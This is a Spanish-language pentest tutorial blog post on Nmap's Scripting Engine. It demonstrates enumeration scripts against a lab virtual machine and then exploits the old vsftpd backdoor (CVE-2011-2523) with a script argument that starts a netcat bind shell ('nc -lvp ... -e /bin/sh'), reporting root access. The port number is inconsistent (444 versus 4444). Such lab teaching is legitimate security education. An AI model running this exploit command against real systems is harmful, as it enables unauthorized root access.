¿Cómo utilizar Nmap Scripting Engine (NSE)?
El día de hoy les voy hablar sobre Nmap Scripting Engines, una de las características más poderosas y flexibles que tiene Nmap y, utilizable en varias etapas de un Pentest.
Elementos utilizados en la demostración:
Hypervisor | VMware Workstation 16 Pro |
Máquina virtual | Debian 10 “Buster”
Dirección IPv4: 192.168.0.10/24 |
Máquina virtual |
Dirección IPv4: 192.168.0.11/24 |
nmap | versión 7.70 |
¿Qué es NSE?
Es una de las características más avanzadas de nmap, le añade flexibilidad y potencia; las funcionalidades que añade, permiten que nmap pueda ejecutar tareas adicionales al escaneo de puertos, identificación de servicios, sistemas operativos y versiones. Los scripts NSE son programados utilizando el lenguaje de programación LUA.
¿Cuál es la utilidad de NSE en una prueba?
Usted puede utilizar los scripts que han sido creados para NSE durante algunas fases de un Pentest; así como: crear, modificar, compartir o mejorar cualquier script.
De acuerdo al libro de Nmap Network Scanning, NSE fue desarrollado con el fin de mejorar el descubrimiento de redes, sistema de detección de versiones más sofisticado, detección de vulnerabilidades, detección de puertas traseras (backdoor) y explotación de vulnerabilidades.
¿Dónde están almacenados los scripts NSE?
Los scripts NSE están almacenados en la ruta /usr/share/nmap/scripts, ahí podrá encontrar aproximadamente 589 scripts
¿Qué categorías existen?
Los scripts NSE pertenecen a una serie de categorías, actualmente existen 14 categorías: auth broadcast, brute, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, versión, vuln; tenga en cuenta que algunos scripts podrían ocasionar alguna interrupción, daño o denegación de servicio; así que verifique lo acordado con el cliente, para no exceder el alcance.
¿Debo utilizar script realizados por terceros?
Traté de utilizar los scripts proveídos por las personas que han desarrollado nmap, utilice sus propios scripts y dude de scripts de terceros, a menos de que usted esté seguro de que no vienen con algún “regalo” que pueda ocasionar algún daño.
Demostración
Chequear las versiones de los servicios que están a la escucha en el servidor 192.168.0.11
Para ejecutar los scripts NSE de la categoría “default”, podemos utilizar el siguiente comando
A continuación utilicemos el script “ftp-anon” de la categoría “auth”, ese script nos permitirá saber si el acceso anónimo a nuestro servidor ftp, está permitido.
Con el script “http-defaults-accounts” tratamos de determinar si el acceso con credenciales por defecto está habilitado en algunas aplicaciones web
Con el script “mysql-empty-password” podemos determinar si el servidor MySQL no utiliza contraseña para el usuario root
El script “mysql-users” intenta listar los usuario del servidor mysql; en ese caso se le ingresaron unos argumentos al script, el script es el siguiente:
$sudo nmap -p3306 192.168.0.11 –script=mysql-users –script-args mysqluser=root,mysqlpass=’’
El script “ftp-vsftpd-backdoor” corresponde a las categorías: exploit, intrusive, malware, vuln; este script busca la presencia de la puerta trasera (backdoor) reportada en CVE-2011-2523 (¡¡¡algo viejita la vulnerabilidad!!!Pero sirve como ilustración)
A continuación procederemos a explotar la vulnerabilidad; vamos a utilizar el script y, su propiedad para ejecutar un comando en el objetivo de la siguiente manera:
$sudo nmap –script=ftp-vsftpd-backdoor -p21 192.168.0.11 –script-args ftp-vsftpd-backdoor-cmd=’nc -lvp 444 -e /bin/sh’
El comando anterior se explica de la siguiente manera:
–script=ftp-vsftpd-backdoor < — Se seleccionó el script en cuestión
-p21← Se le indica que actué en el puerto 21
192.168.0.11 ← Objetivo
–script-args ftp-vsftpd-backdoor.cmd=’nc -lvp 4444 -e /bin/sh’ ← El script recibe como argumento el comando nc con sus respectivas opciones y argumentos
.
Como se evidencia en la próxima imágen, netcat queda a la escucha en el puerto 4444 del servidor 192.168.0.11 y, mediante la opción -e /bin/sh, pretende ejecutar una shell sh, después de la conexión
Por último, nos conectamos desde nuestro Debian 10, hacia el servidor ¡¡¡Tenemos acceso como root!!!
Fuentes
https://nmap.org/nsedoc/scripts
https://nmap.org/book/nse-usage.html
Libro Nmap: Network Exploration and Security Auditing Cookbook
¿Te gustó este post? por favor déjanos tus comentarios! Sé un buen HackerPro y comparte con tu comunidad! Suscríbete a Behackerpro
Otras Entradas
Introducción a la Seguridad en AI – Parte 2
Después de entender los principales ataques, técnicas, tácticas y procedimientos...
Leer másIntroducción a la Seguridad en AI
Cuando hablamos de Seguridad en AI (Artificial Intelligence o Inteligencia...
Leer más5 pilares para Hackers o Profesionales en Ciberseguridad desde una perspectiva técnica
Después de la master class que realizamos en Be Hacker...
Leer más